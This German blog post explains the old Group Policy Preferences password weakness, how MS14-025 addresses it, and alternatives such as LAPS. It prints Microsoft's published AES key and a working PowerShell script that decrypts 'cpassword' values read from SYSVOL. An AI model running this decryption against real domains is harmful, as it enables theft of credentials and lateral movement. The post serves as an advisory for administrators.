Group Policy Preferences: gespeicherte Passwörter auslesen

Microsoft Logo

Mit Hilfe der Gruppenrichtlinien, genauer gesagt der Group Policy Preferences (GPP), lassen sich die Passwörter von lokalen Useraccounts einfach verwalten. Darüber hinaus können via GPP auch verschiedene Aufgaben erledigt werden, bei denen Passwörter gespeichert werden, z.B. Laufwerkzuordnungen, geplante Aufgaben oder Dienste mit lokalen Useraccounts gesteuert werden. Obwohl bereits frühzeitig (ca. 2009) bekannt war, dass Passwörter nur sehr schwach verschlüsselt (AES 32-Bit) werden, wird diese Methode auch heute noch gerne eingesetzt. Kein Wunder, denn als einfache Alternative werden oftmals Skripte verwendet, in denen die Passwörter meist sogar im Klartext hinterlegt sind.

Microsoft selbst hat erst im Mai 2014 reagiert und das Sicherheitsbulletin MS14-025 veröffentlicht. Die darin enthaltenen Maßnahmen verhindern, eine GPP mit definierten Passwörtern zu bearbeiten. Außerdem erscheinen Warnhinweise und in einigen Einstellungen lassen sich keine Passwörter mehr hinterlegen. Das eigentliche Problem in Form von GPPs mit definierten Passwörtern bleibt aber weiterhin bestehen. Administratoren müssten diese GPPs finden und das Passwort von Hand entfernen oder gleich die gesamte GPP löschen. Mangels einfacher Alternativen verzichten aber viele Administratoren darauf und verwenden diese GPPs einfach weiter.

Genaue Beschreibung des Problems

Group Policy Preferences basieren auf XML-Dateien. Werden nun Passwörter in bestimmten Gruppenrichtlinienobjekten definiert, stehen diese im “CPassword”-Attribut innerhalb der XML-Dateien. Die Passwörter werden mittels AES 32-Bit verschlüsselt und liegen damit nicht im Klartext vor. Die XML-Dateien selbst sind Teil der GPOs und werden im SYSVOL-Share auf jedem Domain Controller (DC) zur Verfügung gestellt. Quasi jeder Domänenbenutzer hat Leserechte auf diesen Share und kommt somit auch an das verschlüsselte Passwort ran.

Die Verschlüsselung ist sehr schwach und kann relativ einfach geknackt werden. Darüber hinaus hat Microsoft den zur Verschlüsselung verwendeten privaten Schlüssel selbst bekannt gegeben.

4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b

Ebenso ist seit 11.06.2012 ein Modul für das Metasploit Framework vorhanden, welches alle in GPPs gesetzten Passwörter auslesen kann.

Passwörter entschlüsseln

In wenigen Minuten lassen sich alle innerhalb der Gruppenrichtlinien definierten Passwörter aufspüren. Microsoft hat hier beispielsweise ein PowerShell-Skript veröffentlicht. Eine weitere Möglichkeit ist ein kleines Tool namens GPP Password Finder.

Die Entschlüsselung ist dank des bekannten Schlüssels ein Kinderspiel. Anbei ein PowerShell-Skript, welches das “CPassword” entschlüsselt. Das komplette Get-GPPPassword-Skript findet ihr bei GitHub.

$Cpassword = "sFWOJZOU7bJICaqvmd+KAEN0o4RcpxxMLWnK7s7zgNR+JiJwoSa+DLU3kAIdXc1WW5NKrIjIe9MIdBuJHvqFgbcNS873bDK2nbQBqpydkjbsPXV0HRPpQ96phie6N9tn4NF3KYyswokkDnj8gvuyZBXqoG94ML8M1Iq7/jhe37eHJiZGyi5IBoPuCfKpurj2";

#Append appropriate padding based on string length  
$Mod = ($Cpassword.length % 4)

switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}

$Base64Decoded = [Convert]::FromBase64String($Cpassword)

#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
					 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length) 
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor() 
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)

Alternativen

Die einfachste Alternative zur Verteilung von Passwörtern sind sicherlich Skripte. Allerdings sollte darauf geachtet werden, dass die Passwörter nicht im Klartext hinterlegt sind, ansonsten bringt die ganze Aktion nichts. Microsoft hat im KB2962486 ein beispielhaftes PowerShell-Skript veröffentlicht.

Seit einiger Zeit bietet Microsoft mit dem Local Administrator Password Solution (LAPS) ein Tool an, um Passwörter lokaler Userkonten zu verwalten. Dabei wird für jeden Client ein zufälliges Passwort generiert und im Active Directory hinterlegt.

Quellen

  • https://support.microsoft.com/de-de/kb/2962486
  • http://matthiaswolf.blogspot.de/2014/05/ms14-025-das-ende-der-gespeicherten.html
  • http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/
  • https://adsecurity.org/?p=384
  • https://adsecurity.org/?p=63
  • http://blogs.technet.com/b/ash/archive/2014/11/10/don-t-set-or-save-passwords-using-group-policy-preferences.aspx

Tobi

Hallo, mein Name ist Tobias und ich habe diesen Blog im April 2009 ins Leben gerufen. Seitdem blogge ich hier über Software, Internet, Windows und andere Themen, die mich interessieren. SSDblog ist mein zweiter Blog, indem es rund um das Thema SSDs geht. Ich würde mich freuen, wenn ihr meinen Feed abonniert oder mir auf Twitter und Facebook folgt.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert